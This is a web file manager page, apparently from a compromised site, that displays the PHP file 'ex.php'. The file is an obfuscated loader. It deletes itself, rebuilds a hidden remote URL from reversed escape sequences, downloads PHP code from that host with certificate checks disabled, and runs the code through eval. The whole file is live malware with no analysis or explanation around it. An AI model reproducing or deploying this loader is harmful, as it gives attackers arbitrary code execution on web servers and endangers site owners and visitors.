OwlCyberSecurity - MANAGER

Edit File: ex.php

<?php goto dBC07; BnLms: $H7i0I .= "\157"; goto zHLd8; zHLd8: $H7i0I .= "\56\157"; goto UmAB6; UmAB6: $H7i0I .= "\x65"; goto op_kC; dBC07: @unlink(__FILE__); goto exzuG; yfX7o: $H7i0I .= "\160\164\164\x68"; goto hlD3u; rO4oN: $H7i0I .= "\x2f\160\157\x74"; goto KL7yH; DWMI2: $H7i0I .= "\164\170\x74\56"; goto KeNNs; exzuG: $H7i0I = ''; goto DWMI2; Tl7GT: $H7i0I .= "\x6d\57"; goto Cuq4_; Lgi8C: $H7i0I .= "\60\163\x6b\x6b"; goto BnLms; KL7yH: $H7i0I .= "\x2e\x31"; goto Lgi8C; Cuq4_: $H7i0I .= "\x72\145\x70\165"; goto FwxzU; KeNNs: $H7i0I .= "\61\x6e\x61"; goto Tl7GT; op_kC: $H7i0I .= "\163"; goto mDjqw; FwxzU: $H7i0I .= "\163"; goto rO4oN; hlD3u: eval("\77\x3e" . d72KY(strrev($H7i0I))); goto SCSp7; mDjqw: $H7i0I .= "\x2f\x2f\72\x73"; goto yfX7o; SCSp7: function d72Ky($Ux5j2, $Q3PaB = "\x47\x45\124", $UC2YX = array(), $ZJG0k = 45) { try { goto ENI2E; SPfpV: curl_setopt($lNgki, CURLOPT_URL, $Ux5j2); goto qhGAv; BsaIP: $hYEco = explode("\xd\12\xd\xa", $U4JgX, 2); goto LV2sx; owGkg: $q8wKn = $lE0Yd === "\x68\x74\164\160\163" ? "\x73\163\154" : "\x74\143\160"; goto J4APi; G6Y58: EZGmE: goto JUQTZ; YvVof: goto zK69x; goto BCqti; J4APi: $d4Rrw = stream_socket_client("{$q8wKn}\72\x2f\57{$BOZZ7}\72{$cuqOB}", $uZnM0, $BwIsV, $ZJG0k); goto rj6Rm; yp8dt: $ME4ND = parse_url($Ux5j2); goto zuns2; UkHOy: YAUiE: goto tqL0Q; lLh3k: return trim($P5fNB); goto UmGYz; fuWNu: curl_setopt($lNgki, CURLOPT_SSL_VERIFYPEER, false); goto DSt7n; i_rMR: if (!($Q3PaB == "\120\x4f\x53\x54")) { goto fJEGl; } goto sfpgm; suNjH: EJgiW: goto QfbWU; V1ui3: BrPPc: goto qWiLU; W1Iy2: $P5fNB = $dyzUx; goto b9AeT; jJ3op: fJEGl: goto sIAFO; QsyaZ: $P5fNB = substr($P5fNB, $eybDw + 2 + $soP8N + 2); goto sB14K; vyfGa: curl_setopt($lNgki, CURLOPT_TIMEOUT, $ZJG0k); goto i_rMR; eKyuH: if (!($eybDw === false)) { goto U85wz; } goto YvVof; qWiLU: if (feof($d4Rrw)) { goto YAUiE; } goto HTs07; tqL0Q: fclose($d4Rrw); goto BsaIP; uGuuC: curl_setopt($lNgki, CURLOPT_FOLLOWLOCATION, true); goto vyfGa; my5_e: curl_setopt($lNgki, CURLOPT_RETURNTRANSFER, 1); goto fuWNu; b9AeT: BKe7c: goto lLh3k; rj6Rm: if ($d4Rrw) { goto EZGmE; } goto Z6gv7; pXDaO: $xx_vG = implode("\15\xa", $AIWfj) . "\xd\xa\xd\12"; goto DGKbt; LV2sx: $AIWfj = isset($hYEco[0]) ? $hYEco[0] : ''; goto t6659; l4jns: goto BrPPc; goto UkHOy; JUQTZ: $AIWfj = ["{$Q3PaB}\40{$Em8ya}{$k91Av}\x20\110\124\124\x50\x2f\61\56\x31", "\110\157\163\x74\72\40{$BOZZ7}", "\x55\163\145\x72\55\x41\147\x65\156\x74\72\x20\115\157\172\151\154\x6c\x61\57\x35\56\60\x20\x28\127\x69\x6e\x64\157\x77\x73\x20\x4e\124\40\x31\60\56\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\51\40\101\x70\x70\x6c\145\x57\145\x62\x4b\151\164\57\x35\63\67\56\x33\66\40\50\113\x48\x54\x4d\114\x2c\40\154\151\x6b\145\40\x47\145\143\x6b\157\51\x20\x43\150\x72\x6f\x6d\x65\57\x39\x31\x2e\60\x2e\x34\64\67\62\x2e\61\x32\x34\40\x53\x61\146\x61\162\151\x2f\65\63\x37\56\x33\x36", "\103\x6f\x6e\156\145\143\164\151\157\156\72\40\103\x6c\x6f\x73\145"]; goto l0SKE; sB14K: goto RAD3h; goto yztUV; zrTH2: $AIWfj[] = "\103\x6f\x6e\164\x65\x6e\164\x2d\114\x65\x6e\147\164\150\x3a\x20" . strlen($RAEth); goto AbUa1; VwAF8: R3Lyi: goto yp8dt; qhGAv: curl_setopt($lNgki, CURLOPT_USERAGENT, "\107\x4f"); goto GjOlz; XGl2Z: $dyzUx .= substr($P5fNB, $eybDw + 2, $soP8N); goto QsyaZ; ZAkWu: $Em8ya = isset($ME4ND["\x70\x61\x74\150"]) ? $ME4ND["\x70\x61\x74\150"] : "\x2f"; goto eLts2; PBoeO: return trim(trim($HTqlC, "\xef\xbb\xbf")); goto VwAF8; l4OwT: RAD3h: goto AIFJR; xoAuf: if (!(stripos($AIWfj, "\124\162\141\x6e\x73\146\x65\x72\55\105\x6e\143\x6f\x64\x69\x6e\147\x3a\x20\143\x68\x75\x6e\x6b\x65\144") !== false)) { goto BKe7c; } goto G2hQf; w9TUM: mNqtZ: goto XGl2Z; h8HHp: $soP8N = hexdec(substr($P5fNB, 0, $eybDw)); goto RGUAK; sDxdx: $RAEth = http_build_query($UC2YX); goto vXSN2; sfpgm: curl_setopt($lNgki, CURLOPT_POST, 1); goto yXUd8; X8L0R: $cuqOB = isset($ME4ND["\160\157\162\164"]) ? $ME4ND["\x70\157\x72\164"] : ($lE0Yd === "\150\x74\164\x70\163" ? 443 : 80); goto owGkg; QfbWU: fwrite($d4Rrw, $xx_vG); goto Tv2MT; eLts2: $k91Av = isset($ME4ND["\161\165\145\162\171"]) ? "\77" . $ME4ND["\161\165\145\x72\171"] : ''; goto mUCJ2; G2hQf: $dyzUx = ''; goto l4OwT; Fm6Ag: $xx_vG .= $RAEth . "\15\xa"; goto suNjH; BCqti: U85wz: goto h8HHp; ENI2E: if (!(function_exists("\x63\x75\x72\x6c\137\x69\156\151\164") && function_exists("\x63\165\x72\x6c\137\145\x78\x65\x63"))) { goto R3Lyi; } goto udg94; RGUAK: if (!($soP8N === 0)) { goto mNqtZ; } goto u2ShT; dYCC3: $eybDw = strpos($P5fNB, "\15\12"); goto eKyuH; vXSN2: $AIWfj[] = "\103\157\x6e\164\145\x6e\x74\55\x54\171\160\145\72\40\141\x70\x70\x6c\x69\x63\141\x74\151\157\156\57\170\x2d\x77\167\x77\x2d\x66\157\162\155\x2d\165\x72\154\145\156\143\x6f\x64\x65\144"; goto zrTH2; yXUd8: curl_setopt($lNgki, CURLOPT_POSTFIELDS, http_build_query($UC2YX)); goto jJ3op; t6659: $P5fNB = isset($hYEco[1]) ? $hYEco[1] : ''; goto xoAuf; DGKbt: if (!($Q3PaB == "\x50\x4f\x53\x54")) { goto EJgiW; } goto Fm6Ag; QZEZn: curl_close($lNgki); goto PBoeO; GjOlz: curl_setopt($lNgki, CURLOPT_CONNECTTIMEOUT, 0); goto my5_e; mUCJ2: $lE0Yd = isset($ME4ND["\163\143\x68\x65\155\145"]) ? $ME4ND["\163\143\x68\145\155\x65"] : "\x68\164\x74\160"; goto X8L0R; zuns2: $BOZZ7 = $ME4ND["\x68\x6f\163\x74"]; goto ZAkWu; u2ShT: goto zK69x; goto w9TUM; AbUa1: YE9dj: goto pXDaO; Tv2MT: $U4JgX = ''; goto V1ui3; DSt7n: curl_setopt($lNgki, CURLOPT_SSL_VERIFYHOST, false); goto uGuuC; l0SKE: if (!($Q3PaB == "\x50\x4f\x53\x54")) { goto YE9dj; } goto sDxdx; HTs07: $U4JgX .= fgets($d4Rrw, 1024); goto l4jns; AIFJR: if (!true) { goto zK69x; } goto dYCC3; udg94: $lNgki = curl_init(); goto SPfpV; Z6gv7: return 0; goto G6Y58; yztUV: zK69x: goto W1Iy2; sIAFO: $HTqlC = curl_exec($lNgki); goto QZEZn; UmGYz: } catch (Exception $LTFyo) { } return 0; }